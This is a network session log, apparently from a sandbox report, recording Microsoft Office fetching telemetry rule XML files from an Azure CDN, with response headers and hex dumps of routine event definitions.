2024-11-18 01:34:35 UTC	494	IN	HTTP/1.1 200 OK Date: Mon, 18 Nov 2024 01:34:35 GMT Content-Type: text/xml Content-Length: 1403 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:38 GMT ETag: "0x8DC582BDC2EEE03" x-ms-request-id: 555572e6-d01e-00a1-5509-3735b1000000 x-ms-version: 2018-03-28 x-azure-ref: 20241118T013435Z-16547b76f7ftfv4jhC1DFWuhug00000002rg000000008byz x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-18 01:34:35 UTC	1403	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 38 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 52 65 73 6f 75 72 63 65 73 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701801" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Resources.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantToken

Session ID	Source IP	Source Port	Destination IP	Destination Port
125	192.168.2.6	49837	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-18 01:34:35 UTC	192	OUT	GET /rules/rule701800v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-18 01:34:35 UTC	494	IN	HTTP/1.1 200 OK Date: Mon, 18 Nov 2024 01:34:35 GMT Content-Type: text/xml Content-Length: 1366 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:28:01 GMT ETag: "0x8DC582BEA414B16" x-ms-request-id: 1573d8a3-d01e-002b-769d-3725fb000000 x-ms-version: 2018-03-28 x-azure-ref: 20241118T013435Z-16547b76f7ftnm6xhC1DFW9c8c00000004ug000000000nuk x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-18 01:34:35 UTC	1366	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 38 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 52 65 73 6f 75 72 63 65 73 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 52 65 73 6f 75 72 63 65 73 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701800" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Resources" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenResources" S="Medium" /> <F T="2

Session ID	Source IP	Source Port	Destination IP	Destination Port
126	192.168.2.6	49838	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-18 01:34:35 UTC	192	OUT	GET /rules/rule701051v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-18 01:34:35 UTC	515	IN	HTTP/1.1 200 OK Date: Mon, 18 Nov 2024 01:34:35 GMT Content-Type: text/xml Content-Length: 1399 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:47 GMT ETag: "0x8DC582BE1CC18CD" x-ms-request-id: 9fe5a23c-201e-0051-74ab-367340000000 x-ms-version: 2018-03-28 x-azure-ref: 20241118T013435Z-16547b76f7fd4rc5hC1DFWkzhw00000005e00000000081hp x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-18 01:34:35 UTC	1399	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 30 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 52 65 6c 65 61 73 65 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 52 65 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701051" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Release.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenRe

Session ID	Source IP	Source Port	Destination IP	Destination Port
127	192.168.2.6	49841	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-18 01:34:36 UTC	192	OUT	GET /rules/rule702750v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-18 01:34:36 UTC	494	IN	HTTP/1.1 200 OK Date: Mon, 18 Nov 2024 01:34:36 GMT Content-Type: text/xml Content-Length: 1366 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:54 GMT ETag: "0x8DC582BE5B7B174" x-ms-request-id: 902a0e4e-401e-000a-237c-374a7b000000 x-ms-version: 2018-03-28 x-azure-ref: 20241118T013436Z-164f84587bfdl84ghC1DFWbbhc000000056g00000000pyzn x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-18 01:34:36 UTC	1366	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 37 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 75 62 6c 69 73 68 65 72 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 50 75 62 6c 69 73 68 65 72 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702750" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Publisher" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenPublisher" S="Medium" /> <F T="2

Session ID	Source IP	Source Port	Destination IP	Destination Port
128	192.168.2.6	49839	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-18 01:34:36 UTC	192	OUT	GET /rules/rule701050v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-18 01:34:36 UTC	515	IN	HTTP/1.1 200 OK Date: Mon, 18 Nov 2024 01:34:36 GMT Content-Type: text/xml Content-Length: 1362 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:28:03 GMT ETag: "0x8DC582BEB256F43" x-ms-request-id: bb729275-001e-0014-2109-375151000000 x-ms-version: 2018-03-28 x-azure-ref: 20241118T013436Z-16547b76f7fd4rc5hC1DFWkzhw00000005e00000000081k5 x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-18 01:34:36 UTC	1362	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 30 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 52 65 6c 65 61 73 65 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 52 65 6c 65 61 73 65 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701050" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Release" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenRelease" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
129	192.168.2.6	49840	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-18 01:34:36 UTC	192	OUT	GET /rules/rule702751v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-18 01:34:36 UTC	515	IN	HTTP/1.1 200 OK Date: Mon, 18 Nov 2024 01:34:36 GMT Content-Type: text/xml Content-Length: 1403 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:28:03 GMT ETag: "0x8DC582BEB866CDB" x-ms-request-id: 4f7b6165-401e-0078-36c3-374d34000000 x-ms-version: 2018-03-28 x-azure-ref: 20241118T013436Z-16547b76f7fmcv27hC1DFWgpcg00000003v000000000huxu x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-18 01:34:36 UTC	1403	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 37 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 75 62 6c 69 73 68 65 72 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702751" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Publisher.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantToken

Session ID	Source IP	Source Port	Destination IP	Destination Port
130	192.168.2.6	49843	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-18 01:34:36 UTC	192	OUT	GET /rules/rule702301v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-18 01:34:37 UTC	494	IN	HTTP/1.1 200 OK Date: Mon, 18 Nov 2024 01:34:37 GMT Content-Type: text/xml Content-Length: 1399 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:28:00 GMT ETag: "0x8DC582BE976026E" x-ms-request-id: e670145d-b01e-003d-3cc7-36d32c000000 x-ms-version: 2018-03-28 x-azure-ref: 20241118T013437Z-164f84587bf6n6jwhC1DFW90fn00000004c0000000004c5a x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-18 01:34:37 UTC	1399	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 33 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 72 6f 6a 65 63 74 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 50 72 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702301" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Project.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenPr

Session ID	Source IP	Source Port	Destination IP	Destination Port
131	192.168.2.6	49842	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-18 01:34:36 UTC	192	OUT	GET /rules/rule702300v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-18 01:34:37 UTC	515	IN	HTTP/1.1 200 OK Date: Mon, 18 Nov 2024 01:34:37 GMT Content-Type: text/xml Content-Length: 1362 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:37 GMT ETag: "0x8DC582BDC13EFEF" x-ms-request-id: d7b14c3d-501e-0047-0581-37ce6c000000 x-ms-version: 2018-03-28 x-azure-ref: 20241118T013437Z-1866b5c5fbbtpjhjhC1DFWr6tw00000005200000000098u1 x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-18 01:34:37 UTC	1362	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 33 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 72 6f 6a 65 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 50 72 6f 6a 65 63 74 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702300" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Project" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenProject" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
132	192.168.2.6	49844	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-18 01:34:37 UTC	192	OUT	GET /rules/rule703401v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-18 01:34:37 UTC	515	IN	HTTP/1.1 200 OK Date: Mon, 18 Nov 2024 01:34:37 GMT Content-Type: text/xml Content-Length: 1425 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:55 GMT ETag: "0x8DC582BE6BD89A1" x-ms-request-id: 454d907e-001e-00ad-0609-37554b000000 x-ms-version: 2018-03-28 x-azure-ref: 20241118T013437Z-16547b76f7f2b5qzhC1DFWeag4000000039000000000fpnw x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-18 01:34:37 UTC	1425	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 33 34 30 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 72 6f 67 72 61 6d 6d 61 62 6c 65 53 75 72 66 61 63 65 73 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="703401" V="0" DC="SM" EN="Office.Telemetry.Event.Office.ProgrammableSurfaces.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="Nexus

Session ID	Source IP	Source Port	Destination IP	Destination Port
133	192.168.2.6	49846	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-18 01:34:37 UTC	192	OUT	GET /rules/rule702501v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-18 01:34:37 UTC	515	IN	HTTP/1.1 200 OK Date: Mon, 18 Nov 2024 01:34:37 GMT Content-Type: text/xml Content-Length: 1415 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:57 GMT ETag: "0x8DC582BE7C66E85" x-ms-request-id: 7a5959cf-b01e-0097-4ca5-364f33000000 x-ms-version: 2018-03-28 x-azure-ref: 20241118T013437Z-1866b5c5fbbkbjq9hC1DFWf1es000000043g0000000053wa x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-18 01:34:37 UTC	1415	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 35 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 72 6f 67 72 61 6d 6d 61 62 69 6c 69 74 79 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702501" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Programmability.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenan

Session ID	Source IP	Source Port	Destination IP	Destination Port
134	192.168.2.6	49845	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-18 01:34:37 UTC	192	OUT	GET /rules/rule703400v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-18 01:34:37 UTC	515	IN	HTTP/1.1 200 OK Date: Mon, 18 Nov 2024 01:34:37 GMT Content-Type: text/xml Content-Length: 1388 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:37 GMT ETag: "0x8DC582BDBD9126E" x-ms-request-id: 0261770d-d01e-002b-1caf-3625fb000000 x-ms-version: 2018-03-28 x-azure-ref: 20241118T013437Z-16547b76f7fd4rc5hC1DFWkzhw00000005gg0000000005zg x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-18 01:34:37 UTC	1388	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 33 34 30 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 72 6f 67 72 61 6d 6d 61 62 6c 65 53 75 72 66 61 63 65 73 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 50 72 6f 67 72 61 6d 6d 61 62 6c 65 53 75 72 66 61 63 65 73 22 20 53 3d 22 4d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="703400" V="0" DC="SM" EN="Office.Telemetry.Event.Office.ProgrammableSurfaces" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenProgrammableSurfaces" S="M

Session ID	Source IP	Source Port	Destination IP	Destination Port
135	192.168.2.6	49853	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-18 01:34:37 UTC	192	OUT	GET /rules/rule700501v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-18 01:34:37 UTC	494	IN	HTTP/1.1 200 OK Date: Mon, 18 Nov 2024 01:34:37 GMT Content-Type: text/xml Content-Length: 1405 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:58 GMT ETag: "0x8DC582BE89A8F82" x-ms-request-id: 5e3aaffc-501e-0064-42f8-361f54000000 x-ms-version: 2018-03-28 x-azure-ref: 20241118T013437Z-164f84587bfjxw6fhC1DFWq944000000054000000000rsg6 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-18 01:34:37 UTC	1405	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 35 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 6f 77 65 72 50 6f 69 6e 74 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 